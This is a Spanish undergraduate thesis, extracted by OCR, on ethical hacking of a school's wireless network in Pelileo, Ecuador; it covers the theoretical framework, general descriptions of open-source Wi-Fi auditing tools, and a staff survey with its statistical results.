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RESUMEN EJECUTIVO

En la era digital actual, el uso de tecnologias inalambricas ha transformado la forma
en que nos conectamos. Diariamente, miles de personas acceden a la red a través de
dispositivos como teléfonos inteligentes y computadoras portéatiles. Sin embargo, al
existir este aumento en la conectividad, los ciberdelincuentes buscan aprovechar las
vulnerabilidades para acceder a datos confidenciales, comprometer la privacidad y, en
casos extremos, llevar a cabo ataques mas amplios, tanto a nivel comercial como

doméstico.

Este proyecto de investigacion tiene como objetivo encontrar vulnerabilidades
mediante pruebas de penetracion a la red Wi-Fi de la Unidad Educativa Pelileo para el
analisis de amenazas, evaluando la fiabilidad, la integridad y la accesibilidad de la

informacion y red.

Durante el desarrollo, en la fase de evaluacion siguiendo la metodologia ISSAF se
realiza pruebas de intrusion controladas tales como el ataque de fuerza bruta, ataque
Evil Twin, denegacién de servicios y Man-in-the-Middle. Se aplican controles
especificos de seguridad de OWISAM vy se selecciona herramientas Open Source
como Aircrack-ng y Ettercap, esenciales para la ejecucion de estas pruebas. Los
resultados obtenidos de estas evaluaciones proporcionan el estado de seguridad de la

red.

En resumen, este trabajo destaca por su enfoque préctico, aplicando ataques de
intrusién determinando debilidades que afecten la red Wi-Fi en un contexto educativo.
La propuesta contribuye al campo de la ciberseguridad al proporcionar una
metodologia especifica para analizar y reforzar redes inalambricas en entornos

similares.

Palabras clave: Hacking, ciberseguridad, vulnerabilidades, ataques.
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ABSTRACT

In today's digital age, the use of wireless technologies has transformed the way we
connect. Every day, thousands of people access the network through devices such as
smartphones and laptops. However, with this increase in connectivity, cybercriminals
are looking to exploit vulnerabilities to access sensitive data, compromise privacy and,

in extreme cases, carry out broader attacks, both commercially and domestically.

This research project aims to find vulnerabilities by penetration testing the Wi Fi
network of the Pelileo Educational Unit for threat analysis, assessing the reliability,
integrity and accessibility of the information and network.

During the development, in the evaluation phase following the ISSAF methodology,
controlled intrusion tests such as brute force attack, Evil Twin attack, denial of service
and Man-in-the-Middle are performed. Specific OWISAM security controls are
applied and Open Source tools such as Aircrack-ng and Ettercap, essential for the
execution of these tests, are selected. The results obtained from these evaluations

provide the network security status.

In summary, this work stands out for its practical approach, applying intrusion attacks
by determining weaknesses affecting the Wi-Fi network in an educational context. The
proposal contributes to the field of cybersecurity by providing a specific methodology

to analyze and strengthen wireless networks in similar environments.

Keywords: Hacking, cybersecurity, vulnerabilities, attacks.
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CAPITULO I. MARCO TEORICO

1.1 Tema de investigacion

HACKING ETICO PARA LA DETECCION DE VULNERABILIDADES
MEDIANTE LA UTILIZACION DE HERRAMIENTAS OPEN SOURCE EN LA
RED INALAMBRICA DE LA UNIDAD EDUCATIVA PELILEO.

1.1.1 Planteamiento del problema

El crecimiento de las Tecnologias de la Informacién y Comunicacion (TIC) no ha
detenido su avance; por el contrario, ha experimentado transformaciones significativas
en el dltimo decenio. [1]. Las Redes Inalambricas han adquirido un papel importante
en la infraestructura de las TIC a nivel mundial. La capacidad de conectarse a internet
de manera Inalambrica ha permitido una mayor accesibilidad y portabilidad de los

dispositivos tecnoldgicos.

La ciberdelincuencia ha surgido porque la tecnologia ha pasado a ser un componente
esencial en la ejecucion de actividades delictivas. Los primeros ataques se
identificaron desde los primeros dias de Internet y han continuado ocurriendo desde
entonces. En los ultimos afios, la digitalizacion empresarial como educativa ha
aumentado rapidamente, lo que ha llevado a la actividad delictiva a trasladarse al
ciberespacio, lo que ha aumentado la variedad de delitos cibernéticos.[1]. La mayoria
de vulnerabilidades encontradas en las Redes Inalambricas(Wi-Fi) no estan vinculados
a fallos en los dispositivos tecnoldgicos, sino a la incorrecta utilizaciéon. vy

configuracion [2].

La mayoria de las empresas en Ecuador, son consideradas vulnerables a ciberataques
porque no son conscientes del impacto de la inseguridad que pueden tener en sus
negocios, porque no toman las medidas necesarias para proteger eficazmente sus datos
para evitar grandes pérdidas de informacion, porque los ciberataques pueden causar

darios irreversibles [3].
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La Unidad Educativa Pelileo, al igual que muchas otras Instituciones Educativas, ha
implementado una Red Inalambrica para brindar acceso a Internet y recursos digitales
a docentes, personal administrativo y directivos. Sin embargo, al no contar con la
seguridad en la red, se pueden presentar algunos problemas que afectaria
negativamente la operacion de la Institucién, la posible fuga de datos sensibles y la
interrupcion del servicio académico digital, identificando la importancia de la
informacién y la necesidad de fortalecer un entorno digital seguro, que garantice que
la informacion y la red sean confiables, mantengan su integridad y estén siempre

disponibles.

1.2 Antecedentes investigativos

Después de haber realizado el analisis de fuentes de investigacion dentro de los
repositorios de algunas Universidades se han encontrado varios temas que serviran de

apoyo para el trabajo propuesto.
Seglin B. Macias Pico [4], en su trabajo de investigacion Hacking Etico, expresa que:

e Al analizar la red y sus aplicaciones en colaboracion con los administradores,
se utilizaron herramientas que ayuden a obtener parametros relevantes y

disefar politicas de calidad de servicio.

e Mediante un entorno de prueba similar a uno real, se configuraron las politicas
utilizando los recursos necesarios. El objetivo fue determinar amenazas y
establecer precauciones Optimas para garantizar la seguridad de la red en la
Universidad Estatal del Sur de Manabi.

Segun L. Jaime Carrasco [5] concluye que:

e La implementacion de soluciones informaticas permitié satisfacer las
necesidades como la seguridad de la informacién y proteccién de datos
sensibles del personal de administracion, profesores y alumnos pertenecientes

a la Escuela de Ingenieria en Sistemas de Uladech.

e Se mejord la transferencia de informacion al bloquear usuarios los cuales

utilizaban proxy para acceder a redes sociales y afectaban la red inalambrica.
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Esto mejoro la seguridad de la red y garantizé la integridad de la informacién

académica, evitando pérdidas y problemas de rendimiento.

Segun D. Castillo Tumbaco [6] en su trabajo de titulacion, manifiesta que:

La combinacion de métodos y técnicas de hacking ético se considera una

estrategia efectiva para llevar a cabo pruebas de intrusion.

Las distribuciones informéticas ofrecen una variedad de herramientas
disefiadas especificamente para evaluar y comprender la situacion actual de la
red, lo que permite proponer mecanismos de seguridad que ayuden a prevenir

posibles ataques.

Segun A. Garcia Vega 'y D. Morales Baren [7] plantean que:

La implementacion de analisis de redes y el uso de herramientas para escaneos,
junto con la virtualizacién de software libre, arrojaron resultados esperados en

pruebas.

La seguridad informética mediante pentesting permitio implementar
mecanismos adecuados, como la configuracion béasica de Sistemas de

Deteccidn de Intrusiones (IDS), protegiendo esta red interna.

Segun J. Benitez Guaman [8] comenta:

La implementacién de pentesting determiné vulnerabilidades que se pueden
encontrar en las redes wifi dentro de la institucién. Con la finalidad de brindar

una mejor seguridad a los dispositivos tecnoldgicos.

La documentacion obtenida permitié que los administradores puedan ejecutar

las medidas correspondientes con el afan de mitigar y reducir riesgos presentes.
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1.3 Fundamentacion teérica

1.3.1 Hacking Etico

También conocido como hacking de sombrero blanco, implica el uso de la experiencia
de un experto en ciberseguridad para detectar vulnerabilidades. Los profesionales en
este &mbito realizan "pruebas de penetracion" para evaluar las barreras de seguridad
en organizaciones, verificar la eficacia de los sistemas de seguridad y descubrir fallas
y debilidades en la infraestructura de red. Este método se implementa de manera ética
y controlada con el objetivo de proteger los sistemas antes de que puedan ser

explotados por individuos malintencionados [9].

1.3.2 Herramientas bésicas para ciberseguridad

Es responsabilidad del profesional de seguridad informatica llevar a cabo el proceso
de hackeo ético. Esto le permite prever posibles incidentes antes de que ocurran y
mejorar o reparar el sistema para evitar que ocurran. Las herramientas basicas y viables
se detallardn a continuacion, adaptadas a las particularidades de las redes

nacionales.[10].
a. Mapeador de red (NMAP)

Herramienta destinada a escanear redes. Utiliza paquetes IP sin procesar para encontrar
servicios en ejecucion en dispositivos remotos, asi como equipos activos, sistemas
operativos, filtros o firewalls, entre otras cosas. Aunque originalmente se desarrolld
para el escaneo rapido de redes extensas, también se puede usar para sistemas
individuales.[10].

b. Open Vulnerability Assessment Scanner (OpenVAS)

Este software puede funcionar dentro de una red como fuera de un servidor,
representando a un ataque real. Al finalizar la ejecucion, produce un informe detallado
que detalla todas las vulnerabilidades potenciales que podrian poner en peligro la

seguridad. Ademas, tiene la opcion de configurarse en modo de monitorizacién
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continua, lo que permite establecer alertas que se activaran cuando se detecte cualquier

falla del sistema, incluso la mas minima.[10].
c. Bettercap

Esta herramienta, desarrollada en Go, es una solucién integral que brinda a los
investigadores de seguridad y equipos de red una interfaz Unica y facil de ampliar. Su
objetivo es facilitar todas las tareas necesarias para realizar reconocimientos y ataques
en redes WiFi, dispositivos Bluetooth Low Energy, dispositivos HID inalambricos y
redes IPv4/IPv6. Lo convierte en una opcion versatil y amigable para realizar una
variedad de operaciones de seguridad informatica debido a su disefio portatil y
extensible. [10].

d. Metasploit

Posee una base de datos que alberga exploits, payloads y mddulos, posibilitando la
realizacion de una amplia variedad de pruebas de intrusion. Con su estructura modular
y una interfaz de usuario intuitiva, agiliza el proceso de reconocimiento y
aprovechamiento de vulnerabilidades en sistemas informaticos. Metasploit no solo
ofrece un extenso conjunto de herramientas preexistentes, sino que también brinda un
entorno de desarrollo que permite la creacién de exploits personalizados y adaptados

a necesidades especificas [10].
e. Aircrack-ng

Esta herramienta es una de las mejores opciones para evaluar la seguridad de cualquier
red Wi-Fi en busca de vulnerabilidades potenciales que podrian permitir a un usuario
no autorizado obtener la contrasefia de la red. Este software es ampliamente utilizado
a nivel mundial para violar la seguridad de las redes Wi-Fi, ya sea con cifrados WEP
(Wired Equivalent Privacy), WPA (Wireless Protected Access) e incluso WPA2
(Wireless Protected Access v2). Sin embargo, es comun que se utilice en conjunto con

otros programas para mejorar el proceso de descifrado de multiples contrasefias.[11].
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f. Wireshark

Es programa analiza paquetes de red y registra una variedad de tipos de datos que
pasan a través de una conexion. Herramienta versatil gratuita utilizada para
diagnosticar problemas de red, realizar auditorias de seguridad. Permite examinar
datos de un archivo de captura o de una red en tiempo real. Facilita el analisis de la
informacién recopilada mediante el uso de detalles y resimenes de cada paquete.
Ademas, incluye un lenguaje completo para filtrar la informacion deseada y mostrar

el flujo de sesion de TCP reconstruido [12].
g. Airgeddon

Utiliza cualquier tipo de cifrado para simplificar la auditoria de redes inalambricas
mediante un script en bash. Incluye la captura de handshake en redes WPA y WPA2,
lo que permite obtener un proceso de descifrado fuera de linea e intentar recuperar la
contrasefia PSK de la red inalambrica. El uso de un diccionario de claves o el uso de
fuerza bruta son dos métodos posibles para llevar a cabo este ataque. Ademas, tiene
una herramienta que facilita la seleccion del punto de acceso objetivo, lo que facilita

la automatizacion del proceso.[13].
h. Wifite

Desarrollada para auditar la seguridad de las redes, generalmente en sistemas
operativos Linux y Unix. Su objetivo principal es automatizar los procedimientos de
evaluacion de la seguridad de las redes inalambricas. WiFite busca redes WiFi
disponibles, intenta establecer conexiones utilizando diferentes técnicas de ataque y
luego intenta descifrar las contrasefias de las redes que encuentra. Gracias a su
facilidad de uso y capacidad de automatizacion, esta herramienta es popular entre los

profesionales de seguridad informética y los pentesters.[14].
i. Fern Wifi Cracker

Herramienta para auditar la seguridad y ejecutar ataques, utiliza la biblioteca Qt-Gui
y se basa en Python. El software puede realizar ataques basados en redes inalambricas
0 Ethernet, asi como recuperar y descifrar claves WEP/WPA/WPS.[15].
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j. Ettercap

Es un interceptor/rastreador/registrador para conmutacion de LAN. Se utiliza en LAN
conmutadas, aunque se utiliza para auditoria en diferentes tipos de redes. Es una
herramienta de olificacion de red basada en la falsificacion de la direccion ARP. Se
utiliza principalmente para modificar configuraciones en redes locales. En este
software con los medios para balanceo en ETTERCAP, los probadores de penetracion
pueden detectar la seguridad de la expresion de la comunicacion de datos en la red,
tome medidas oportunas, evitando datos, como el nombre de usuario / contrasefias

sensibles de manera clara. [16].
k. Wifiphisher

Realiza ataques automatizados de suplantacion de identidad dirigidos a redes WiFi
para obtener contrasefias secretas u otras credenciales. Al no emplear fuerza bruta, este
tipo de ataque de ingenieria social se distingue de otros métodos. Ayuda a obtener
paginas de acceso a terceros, informacion de acceso para portales cautivo y contrasefia
secretas de seguridad WPA/WPA2.[17].

I.  Acrylic WiFi Analyzer

Es una aplicacion disefiada para supervisar las redes inaldmbricas en las proximidades
y evaluar su seguridad. Es capaz de escanear y analizar todos los puntos de acceso Wi-
Fi disponibles, ademas, asiste en la optimizacion del canal de transmision en el
enrutador. Este proceso contribuye a mejorar tanto la cobertura como la velocidad de
la conexion Wi-Fi. [18].

1.3.3 Seguridad en la Red

Se refiere a todas las acciones que se toman para proteger el acceso, el uso y la
integridad de la red y los datos comerciales. Este enfoque hace uso de tecnologias de
hardware y software con el proposito de prevenir la entrada o propagacion de diversas
amenazas en la red. [19]. En pocas palabras, se trata de un conjunto de acciones y
procedimientos destinados a proteger los datos, las aplicaciones, los dispositivos y los

sistemas conectados a la red. [20].
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1.3.4 Seguridad Informatica

También conocida como ciberseguridad, se enfoca en proteger la informacion vy,
particularmente, los procesos relacionados con el manejo de datos para evitar cambios
por parte de personas no autorizadas. Su objetivo principal es garantizar que los
usuarios, los equipos tecnoldgicos y los datos estén protegidos de dafios y amenazas

de terceros. [21].

La seguridad informatica se fundamenta en cuatro pilares esenciales:

Disponibilidad: Se debe admitir el acceso a la informacion en los sistemas,

segun las necesidades del usuario, manteniendo la privacidad.

e Confidencialidad: Solo las personas autorizadas deben tener acceso a la

informacion.

e Integridad: Se debe asegurar la integridad de la informacion, sin errores ni

modificaciones por parte de los sistemas.

e Autenticacion: Verificar la informacion proveniente de un usuario para

asegurar su identidad. [22].

1.3.5 Redes

En informéatica, se entiende por red (usualmente red informéatica o red de
computadoras) a la interconexién de un nimero determinado de computadores (o de
redes, a su vez) mediante dispositivos alambricos o inaldmbricos que, mediante
impulsos eléctricos, ondas electromagnéticas u otros medios fisicos, les permiten
enviar y recibir informacién en paquetes de datos, compartir sus recursos y actuar

como un conjunto organizado [23].

1.3.6 Red Inalambrica

Un tipo de enlace entre sistemas informaticos, es decir, entre computadoras, que se

establece mediante ondas del espectro electromagnético se conoce como red
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inalambrica. Se trata de una conexion de nodos que no requiere dispositivos
alambricos o cables. [24]. Aunque Wi-Fi Alliance posee una marca registrada
especifica, el termino Wi-Fi se utiliza de manera genérica para referirse al acceso
inalambrico. Este grupo es responsable de verificar que los productos cumplen con los
estandares inaldmbricos 802.11 establecidos por el Instituto de Ingenieros Eléctricos
y Electrénicos (IEEE).[25]

1.3.7 Norma 802.11.

Incrementa el rendimiento y el alcance de las conexiones Wi-Fi, también amplia la
disponibilidad en nuevas frecuencias. [25].

Las caracteristicas que definen a 802.11Wi-Fi, segun la IEEE son:

e EIl uso del medio (aire) no tiene un rango maximo de funcionamiento, sin
embargo, se conoce que las STA fuera de su cobertura no pueden recibir

tramas.

e Cada comunicacion establecida esta expuesta a otras comunicaciones que se

produzcan en el medio.

e El medio empleado en IEEE 802.11 (aire) no es tan fiable como el medio de
las redes cableadas.

e Tiene topologias cambiantes, debido a la movilidad que tienen los dispositivos.

e Las STAs no pasan conectadas todo el tiempo, por lo que se entiende que
algunas STAs pueden estar ocultas.

e Las propiedades de propagacion son variables y asimétricas.

1.3.8 Protocolo TCP/IP

El protocolo de control de transmision o sus siglas en inglés TCP, es la forma
predeterminada de transmitir datos entre varios dispositivos en una red. Durante todo

el proceso de transferencia, este protocolo mantiene una conexién constante entre el
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remitente y el destinatario. A través de sus mecanismos, TCP garantiza que todos los
paquetes de datos lleguen correctamente, lo que permite una transmision confiable y
fluida entre varios dispositivos. El protocolo de transferencia de archivos (FTP) y
Secure Shell (SSH) son ejemplos de protocolos de transferencia de archivos utilizados

por TCP en servicios como el correo electrénico.[26].

1.3.9 Vulnerabilidades en redes inaldmbricas

Se refiere a una amenaza en un sistema que posibilita que un atacante pueda
comprometer la privacidad, integridad, control de acceso y consistencia del sistema o
de sus datos y aplicaciones. Las redes inalambricas presentan un riesgo mayor en

comparacion con las redes cableadas, ya que la sefial se propaga en todas direcciones.
[27].

1.4 Objetivos

1.4.1 Objetivo general

Aplicar Hacking Etico para la deteccion de vulnerabilidades mediante la utilizacion de
herramientas Open Source en la Red Inalambrica de la Unidad Educativa Pelileo.

1.4.2 Objetivos especificos

Investigar las principales vulnerabilidades que se pueden presentar en las

Redes Inalambricas.

e Determinar la mejor herramienta Open Source para ejecutar pruebas de

Hacking Etico en Redes Inalambricas.

e Realizar pruebas de penetracién controladas en la Red Inalambrica de la

Unidad Educativa Pelileo para identificar vulnerabilidades.

e Documentar los resultados obtenidos del analisis de vulnerabilidades en la Red
Inalambrica de la Unidad Educativa Pelileo.
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CAPITULO Il. METODOLOGIA

2.1 Materiales

Para llevar a cabo esta investigacion, los métodos de recopilacion de datos empleados
fueron una encuesta dirigida a docentes, administrativos y directivos, asi como una
entrevista al docente encargado de T de la Unidad Educativa Pelileo. Estos recursos
permitieron obtener una comprension integral de la situacion y las perspectivas en

relacion con el tema de tesis.

La encuesta incluye preguntas dicotomicas, escala de Likert, y seleccién multiple, por
lo que se consider6 mas factible tomar las preguntas de seleccién multiple con el
coeficiente de Alpa de Cronbach, el resultado que se obtuvo fue del 0.91 (Tabla 1) y
las preguntas dicotémicas con el coeficiente de Kuder Richardson "KR-20" donde se
obtuvo el 0.95 (Tabla 3) de confiabilidad.

Tabla 1: Coeficiente de alfa de Cronbach en la encuesta aplicado a los docentes.

Simbologia Valor
o (alfa)= 0,91
K(Numero de items)= 4
SVi(Varianza cada item)= 0,94
Vt (Varianza total items) = 1,57

Tabla 2: Interpretacion de la escala de consistencia del Alfa de Cronbash[28].

Alfa de Cronbash Interpretacion
0,9 Excelente
0,9-0,8 Buena

0,8-0,7 Aceptable
0,7-0,6 Débil

0,6-0,5 Pobre

0,5 Inaceptable
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Tabla 3: Coeficiente de Kuder Richardson "KR-20" en la encuesta aplicada a los

docentes.
Simbologia Valor
Kr-20= 0,95
K(NUmero de items)= 2
I(p*q)= 0,20
o2(Varianza total del 0,13
instrumento)=

Tabla 4: Interpretacion de la escala de consistencia de Kuder Richardson [29].

Kuder Richardson | Interpretacion
0,81al Muy Alta
0,61a0,80 Alta

0,41 a 0,60 Moderada
0,21a0,40 Baja

0,01a0, 20 Muy Baja

ENCUESTAADOCENTES, ADMINISTRATIVOS Y DIRECTIVOS DE LA
UNIDAD EDUCATIVAPELILEO

Objetivo: Recopilar informacién sobre el conocimiento de la seguridad de redes

inaldmbricas en la institucion.
Seleccione la respuesta que crea conveniente

1. ¢ Con qué frecuencia utiliza dispositivos como laptops o teléfonos maviles en su
trabajo en la institucion?

O Diariamente

O Ocasionalmente

O Nunca
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2. ¢ Cuanto sabe sobre posibles debilidades o problemas de seguridad en la red
inaldmbrica de su institucion?

O Muy informado

O Informado
O Poco

O No Informado

3. ¢Ha experimentado problemas de seguridad en la red inalambrica de la
institucion en los Gltimos 12 meses?

O No he experimentado problemas de seguridad
O Pérdida de datos o informacion confidencial
O Acceso no autorizado a la red

O Interrupciones en el servicio

4. Ensu opinidn, ¢ Cual considera que es laamenaza de seguridad mas importante
en las redes inaldmbricas de las instituciones?

O Acceso no autorizado por parte de personas externas
Q Pérdida de datos o informacion confidencial
Q Malware o virus que afecten la red

O Falta de actualizaciones de seguridad regulares

5. ¢ Considera usted que la seguridad en las redes inaldmbricas es importante en
un entorno educativo?

O Muy Importante
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O Importante

O No es una prioridad

6. ¢ Cudl de las siguientes medidas de seguridad inalambrica se implementan en
su institucién?

O Contrasefias seguras y cambiosregulares de contrasefias
O Encriptacion de datos en la redinalambrica
O Monitoreo continuo de la red paradetectar amenazas

O Politicas de acceso restringidobasadas en roles

7. ¢La falta de medidas de seguridad en las redes inaldmbricas podria afectar su
trabajo en la instituciéon?

O s
ONo

8. ¢Conoce las medidas de seguridad que debe aplicar para proteger su
computadora o dispositivo al conectarse a la red de la institucién?

O i
ONO

9. ¢Qué tan satisfecho esta con la seguridad de la red inalambrica de la
institucion?

O Insatisfecho

O Neutral

O Satisfecho
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10.  ¢Para garantizar la seguridad de las redes inaldmbricas utilizadas en su
trabajo que le gustaria que haga la institucion?

Deseo que se tomen medidas adicionales para mejorar la seguridad
Considero que la seguridad actual es suficiente y no requiere cambios

No tengo una opinion definitiva alrespecto en este momento

O O O O

Prefiero no comentar al respecto.

La entrevista se realizd al docente encargado de los laboratorios de la Unidad

Educativa y consta de 9 preguntas.

Guia de entrevista

Nombre del entrevistado:

Empresa:

Cargo:

Entrevistador:

Objetivo: Recopilar informacion sobre el conocimiento de la seguridad de redes

inaldmbricas en la institucion.

Pregunta Respuesta Observacion

;Conoce el estado actual de la red

inalambrica y su funcionamiento?

¢Existe algin departamento dedicado a la

administracion de redes, en el caso de no
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haber considera importante empezar a

administrarla?

¢Qué entiende por seguridad cibernética

0 seguridad en linea?

¢Existen politicas de conexion y de

seguridad en la red inalambrica?

¢Ha experimentado su institucion
incidente de seguridad cibernética en el
pasado? En caso afirmativo, ;,como los ha
abordado y qué lecciones ha aprendido de

ellos?

¢Como cree que la seguridad en linea
podria afectar al personal de Ila

institucién?

¢Ha oido hablar de amenazas en linea
como virus informaticos o hackers? ; Qué

sabe al respecto?

¢Cree que es importante proteger la
informacién en linea de la institucion?

¢Por quée?

Conclusion:
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2.2 Métodos

2.2.1 Modalidad de la investigacion

a. Investigacion de Campo

El presente trabajo investigativo es de campo, ya que la investigadora recopila datos
mediante encuestas utilizando un cuestionario dirigido a los docentes de la Unidad
Educativa Pelileo. El proposito es obtener informacion confiable que contribuyera a
abordar el problema relacionado con amenazas que se generan en las redes

inaldmbricas en un contexto educativo, salvaguardando la comunicacion.
b. Investigacion Bibliografica-documental

La investigacion es bibliografica-documental pues se fundamenta en la recopilacion
de datos a través de libros, articulos, revistas, tesis realizadas enfocadas al tema
investigativo, los cuales se utilizaron para la construccion de la fundamentacion tedrica
que estudia temas como Hacking Etico, herramientas Open Source para Hacking,

Seguridad Informatica, Redes Inalambricas, entre otros.

2.2.2 Poblacién y muestra

Para el presente proyecto se trabajé con administrativos, directivos y docentes de la

Unidad Educativa Pelileo.

Tabla 5: Poblacion

Poblacién Numero Porcentaje
Directivos 3 12%
IAdministrativos 2 8%
Docentes 20 80%

Total 25 100%
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Debido a que el niumero de poblacién es menor a 100 no se procedid a sacar una

muestra.

2.2.3 Recoleccién de informacién

La recopilacion de los datos se efectu6 mediante encuestas a docentes, administrativos
y directivos, para el analisis e interpretacion de resultados se los englobard y mencionara
solo como docentes, al docente encargado de la administracion Tl en la Unidad
Educativa se aplicd una entrevista y posteriormente para el analisis de los datos

recolectados se utilizo el software Excel.

Analisis e interpretacion de los resultados de la encuesta a docentes,
administrativos y directivos de la Unidad Educativa Pelileo

Pregunta 1: ;Con qué frecuencia utiliza dispositivos como laptops o teléfonos
maviles en su trabajo en la institucion?

M Diariamente
B Ocasionalmente

® Nunca

Figura 1: Datos de la pregunta 1

Analisis e interpretacion de resultados

Conforme a los resultados de la encuesta, en la Figura 1, se puede observar que el
76% de los docentes indicaron utilizar dispositivos como laptops o teléfonos moviles
diariamente en su trabajo en la institucion. Un 24% mencion6 utilizarlos
ocasionalmente. En cuanto a la opcion "Nunca", esta no fue seleccionada por ningun
docente. Estos resultados sugieren que la mayoria de los docentes hacen un uso
frecuente de dispositivos mdviles en sus actividades laborales en la institucion

educativa.
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Pregunta 2: ¢; Cuanto sabe sobre posibles debilidades o problemas de seguridad en
la red inaldmbrica de su institucion?

B Muy informado
B Informado
B Poco informado

No informado

Figura 2: Datos de la pregunta 2

Andlisis e interpretacion de resultados

De acuerdo con la Figura 2, se evidencia que el 56% de los docentes se considera
informado en cuanto a las debilidades o problemas de seguridad que se pueden
presentar en la institucion. El 40% se identifica con poca informacion al respecto, y
solo un 4% menciona no contar con la informacion necesaria. Estos resultados reflejan
una variabilidad en el grado de conocimiento de los docentes resaltando que la mayoria
tiene una nociodn con respecto a las debilidades y problemas de seguridad en la red

inaldmbrica institucional.

Pregunta 3: {Ha experimentado problemas de seguridad en la red inalambrica de
la institucion en los Gltimos 12 meses?

H No he experimentado
problemasde seguridad

M Pérdida de datos o
informaciénconfidencial
M Acceso no autorizado a la

red

Interrupciones en el
servicio

Figura 3: Datos de la pregunta 3
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Andlisis e interpretacion de resultados

En la Figura 3, se puede observar que el 52% de los docentes indicd que no habia
experimentado problemas de seguridad. Sin embargo, el 36% reportd interrupciones
en el servicio, lo que podria reflejar problemas técnicos o incidentes de seguridad.
Ademas, un 12% menciond haber experimentado acceso no autorizado a la red, lo que
indica la presencia de posibles vulnerabilidades. Estos resultados sugieren que, si bien
la mayoria de los docentes no ha experimentado problemas, existe una proporcion
notable que si ha tenido experiencias negativas relacionadas con la seguridad y el
servicio de la red inalambrica. Estos datos podrian indicar la necesidad de medidas
adicionales para fortalecer la seguridad de la red y garantizar un servicio mas

ininterrumpido.

Pregunta 4: En su opinion, ¢Cudl considera que es la amenaza de seguridad mas
importante en las redes inalambricas de las instituciones?

B Acceso no autorizado por
parte de personas externas

® Pérdida de datos o
informacion confidencial.

Malware o virus que afecten
la red.

Falta de actualizaciones de
seguridad regulares

Figura 4: Datos de la pregunta 4
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Anélisis e interpretacion de resultados

Con respecto a la Figura 4, el 36% de los encuestados mencion6 la falta de
actualizaciones de seguridad regulares como la principal preocupacion, lo que sugiere
la importancia de mantener las redes al dia en términos de confidencialidad. Ademas,
el acceso no autorizado por parte de personas externas fue destacado por un 32%, lo
que indica la preocupacion por posibles intrusiones en la red. EI malware o virus que
afecten la red y la pérdida de datos o informacion confidencial recibieron un 16% de
las menciones. Estos resultados sefialan que, segun la percepcion de los docentes, la
falta de actualizaciones de seguridad y el acceso no autorizado son las amenazas mas
relevantes, lo que podria guiar a la instituciéon en la implementacion de medidas de

seguridad y actualizaciones regulares para abordar estos desafios.

Pregunta 5: ¢;Considera usted que la seguridad en las redes inalambricas es
importante en un entorno educativo?

H Muy importante
M Importante

M No es una prioridad

Figura 5: Datos de la pregunta 5

Anélisis e interpretacion de resultados

La Figura 5 revela que, el 76% de los docentes considerd que la seguridad en estas
redes es muy importante. Un 24% adicional también la evalu6 como importante. Estos
resultados denotan una alta preocupacion con respecto a la seguridad en las redes
inaldmbricas en el contexto educativo, para preservar la integridad de los datos y
mantener un ambiente de aprendizaje seguro. Esta percepcion reafirma la relevancia
de implementar medidas de seguridad efectivas en la institucion educativa para

respaldar las actividades académicas.
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Pregunta 6: ¢/Cudal de las siguientes medidas de seguridad inalambrica se
implementan en su institucion?

M Contrasefias seguras y
cambiosregulares de
contrasenas

M Encriptacion de datosen la
redinaldmbrica

®m Monitoreo continuo de la
red paradetectar amenazas

Politicas de acceso
restringidobasadas en roles

Figura 6: Datos de la pregunta 6

Analisis e interpretacion de resultados

En la Figura 6, los resultados reflejan que el 68% de los docentes sefialaron la
aplicacion de contrasefias seguras y cambios regulares de contrasefias como medida de
seguridad, mientras que las politicas de acceso restringido basadas en roles fueron
consideradas por un 16% de los encuestados. Ademas, el monitoreo continuo de la red
para detectar amenazas fue citado por un 12%. En contraste, solo un 4% menciond la
encriptacion de datos en la red inaldmbrica, lo que podria indicar un area de mejora en
la seguridad de la red. Estos resultados destacan la prevalencia de contrasefias seguras,
aunque sugieren la necesidad de fortalecer la encriptacién de datos en la red
inaldmbrica para garantizar una seguridad optima. Ademas, la presencia de politicas
de acceso restringido y el monitoreo de la red indican un enfoque en la seguridad,

aungue con margen para mejoras.
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Pregunta 7: ¢ La falta de medidas de seguridad en las redes inalambricas podria
afectar su trabajo en la institucion?

m Si

®No

Figura 7: Datos de la pregunta

Analisis e interpretacion de resultados

De acuerdo con la Figura 7, el 96% de los docentes expreso que ausencia de protocolos
de seguridad en la red inaldmbrica podria afectar su trabajo en la institucion. El 4%
restante no percibe que pueda afectar su trabajo. Este alto porcentaje subraya la clara
preocupacion de los docentes por la influencia negativa que la falta de seguridad en
las redes inalambricas podria tener en sus actividades laborales en la institucion. Esta
percepcion destaca la importancia de implementar medidas efectivas para garantizar

un entorno de trabajo mas protegido y eficiente.

Pregunta 8: ¢ Conoce las medidas de seguridad que debe aplicar para proteger su
computadora o dispositivo al conectarse a la red de la institucion?

mSi

mNo

Figura 8: Datos de la pregunta 8
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Anélisis e interpretacion de resultados

Segun la Figura 8, el 68% de los docentes afirmd conocer estas medidas de seguridad,
lo que indica una comprension sdlida de las practicas de seguridad. No obstante, un
32% sefial6 no estar al tanto de las medidas de seguridad requeridas, lo que resalta una
brecha en la comprension de la seguridad en la red. Esto podria sugerir la necesidad
de mejorar la concienciacion y la educacion sobre ciberseguridad entre los docentes
para garantizar practicas seguras y proteger sus dispositivos al conectarse a la red de
la institucion.

Pregunta 9: ¢ Qué tan satisfecho esta con la seguridad de la red inalambrica de la
institucion?

m Insatisfecho

' 20% 20%

m Neutral

m Satisfecho

Figura 9: Datos de la pregunta 9

Anélisis e interpretacién de resultados

De acuerdo con la Figura 9, el 60% se encuentra en una posicion neutral en cuanto a
su satisfaccion con la seguridad de la red WiFi de la institucion. Un 20% expresé
insatisfaccion, mientras que otro 20% indico estar satisfecho. Estos resultados revelan
una percepcion ambivalente en relacion a la proteccién de la red inalambrica,
sefialando una importancia para abordar las inquietudes sobre seguridad y

posiblemente implementar mejoras en el entorno educativo.
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Pregunta 10: ¢(Que le gustaria que haga la institucién para garantizar la

seguridad de la red inaldmbrica utilizada en su trabajo?

B Deseo que se tomen medidas
adicionales para mejorar la
seguridad

B Considero que la
seguridadactual es suficiente
y no requierecambios
significativos

m No tengo una opinién
definitiva alrespecto en este
momento.

Prefiero no comentar al
respecto

Figura 10: Datos de la pregunta 10

Andlisis e interpretacion de resultados

Segun la Figura 10, el 68% desearia que la institucion tome medidas adicionales para
mejorar la seguridad de la red inalambrica utilizada en su trabajo. EI 16% se encuentra
indeciso en este tema. Ademas, un 12% prefiere no emitir comentarios al respecto,
mientras un reducido 4% considera que la seguridad actual es suficiente y no necesita
cambios significativos. Estos resultados subrayan la voluntad de la comunidad docente
de salvaguardar la informacion que se transmite por la red WiFi y resaltan la
importancia de tomar medidas proactivas para satisfacer estas expectativas y garantizar

un entorno seguro en la institucion.
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Al docente que se encarga de la administracion TI de la Unidad Educativa Pelileo
